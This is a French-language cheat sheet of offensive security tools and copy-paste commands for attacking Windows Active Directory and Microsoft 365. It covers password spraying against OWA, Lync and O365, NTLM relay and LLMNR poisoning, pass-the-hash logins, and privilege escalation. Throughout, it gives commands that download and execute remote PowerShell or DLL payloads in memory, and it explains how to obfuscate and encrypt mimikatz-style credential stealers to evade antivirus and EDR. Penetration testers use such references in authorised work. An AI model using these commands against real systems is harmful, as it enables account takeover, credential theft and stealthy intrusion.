
Collection organisée d'outils et de commandes de sécurité offensive pour les attaques Active Directory, le C2, l'élévation de privilèges, l'obfuscation et le pentest web.
https://github.com/S3cur3Th1sSh1t/WinPwn
Import-Module .\WinPwn.ps1
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Seatbelt, KeeThief, Rubeus, SharpUp ...
https://github.com/PowerShellMafia/PowerSploit
PowerView, PowerUp, Get-GPPPassword ...
https://github.com/BloodHoundAD/BloodHound
SharpHound.exe -d testdomain.com -c all,gpolocalgroup
Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup
https://github.com/fox-it/BloodHound.py
bloodhound.py -c all
https://github.com/adrecon/ADRecon
Pour exécuter ADRecon sur un hôte membre du domaine.
PS C:\> .\ADRecon.ps1
Pour exécuter ADRecon sur un hôte membre du domaine en tant qu'utilisateur différent.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
Pour exécuter ADRecon sur un hôte non membre via LDAP.
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>
https://github.com/byt3bl33d3r/SprayingToolkit
Sprayer Lync/Skype et OWA, générateur de listes de mots, convertisseur de schéma de nommage, etc.
Spraying OWA
./atomizer.py owa contoso.com 'Fall2018' emails.txt
Spraying Lync
./atomizer lync contoso.com --user-as-pass usernames.txt
Mode reconnaissance
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
https://github.com/dafthack/MailSniper
Attaque d'OWA et d'EWS
Le schéma de nommage doit être du type testdomain.com\schmidta ou aschmidt -> vérifier le schéma avec le module msf
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt
Get-ADUsernameFromEWS -EmailList email-list.txt
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
https://github.com/0xZDH/msspray
Outil d'énumération et de spray O365
Énumère uniquement les utilisateurs, sans spray. Nécessite un fichier texte avec les adresses e-mail complètes [email protected]
python3 msspray.py -e -u textfile.txt --wait 10 --verbose
https://github.com/dafthack/MSOLSpray
Outil de spray O365
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
https://github.com/quickbreach/ExchangeRelayX
Attaque d'EWS via l'authentification NTLM sur HTTP.
./exchangeRelayx.py -t https://mail.quickbreach.com
https://github.com/tevora-threat/SharpView
Port de PowerView vers .NET
SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password
https://github.com/m8r0wn/CrossLinked
Collecter des adresses e-mail / utilisateurs
python3 crosslinked.py -f '{first}.{last}@domain.com' company_name
https://github.com/SecureAuthCorp/impacket
https://github.com/byt3bl33d3r/CrackMapExec
Documentation officielle : https://mpgn.gitbook.io/crackmapexec/
https://github.com/FSecureLABS/SharpGPOAbuse
https://github.com/mrnamp/EvilWinRM
Un outil pour interagir avec l'implémentation WS-Management de Microsoft, c'est-à-dire Powershell-Remoting, depuis une machine Linux.
Peut également être utilisé pour se connecter avec un hash au lieu d'un mot de passe.
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099
Également capable d'exécuter du C#, des DLL ou du shellcode donut directement en mémoire. Les exécutables doivent se trouver dans le chemin défini par l'argument -e.
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Dll-loader -http -path http://10.11.12.13/evil.dll
Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin
Peut également contourner AMSI, récupérer des tickets Kerberos, etc.
https://github.com/rasta-mouse/SharpRDP
Exécute des éléments via RDP. L'utilisateur recevra une notification si le multi-RDP n'est pas activé !
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
https://github.com/Kevin-Robertson/Inveigh
Spoofeur PowerShell ADIDNS/LLMNR/mDNS/NBNS/DNS et outil de type homme du milieu
Import-Module Inveigh.psm1
Invoke-Inveigh -Consoleoutput Y
https://github.com/lgandx/Responder
Poisonneur LLMNR/NBT-NS/mDNS
./Responder.py -I eth0
https://github.com/cobbr/Covenant
https://github.com/BC-SECURITY/Empire
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
Exploits pour Linux et Windows
https://github.com/p3nt4/PowerShdll
Powershell sans Powershell
rundll32 PowerShdll,main -w
https://github.com/NetSPI/PowerUpSQL
https://github.com/hfiref0x/UACME
https://github.com/rasta-mouse/Watson
https://github.com/itm4n/PrivescCheck
Obfusquer des binaires C / C++
Nouveau module -> fluctuation de ShellCode :
PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'
Voir https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg
https://github.com/S4ntiagoP/donut/tree/syscalls
Fork du générateur de shellcode / PE Donut avec syscalls
https://github.com/EgeBalci/amber
Obfusquer des binaires C / C++
https://github.com/danielbohannon/Invoke-Obfuscation
Obfuscateur pour scripts PowerShell.
https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt
https://github.com/slaeryan/AQUARMOURY
Collection d'outils pour contourner AV/EDR et autres.
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
Obfuscateur et chiffreur pour scripts PowerShell.
https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7
Collection d'outils pour PowerShell ISE. Possibilités d'obfuscation.
https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5
Convertir un fichier PS1 en fichier EXE.
https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader
Un wrapper pour les binaires C# qui chiffre la charge utile et la déchiffre en mémoire.
Chiffrer un binaire :
Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc
Charger un binaire chiffré depuis une URL :
Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs
Charger un binaire chiffré depuis le disque avec des arguments de ligne de commande :
Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"
https://github.com/klezVirus/inceptor
Obfuscateur pour C# et Powershell
https://github.com/tokyoneon/Chimera
Obfuscateur de scripts PowerShell.
https://github.com/xforcered/InvisibilityCloak
Obfuscateur d'assembly C#.
https://github.com/yck1509/ConfuserEx
Obfuscateur d'assembly C#.
https://github.com/9emin1/charlotte
Chargeur de shellcode via D-Invoke
https://github.com/lleon1435/avcleaner
Obfuscateur de code source C/C++.
SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray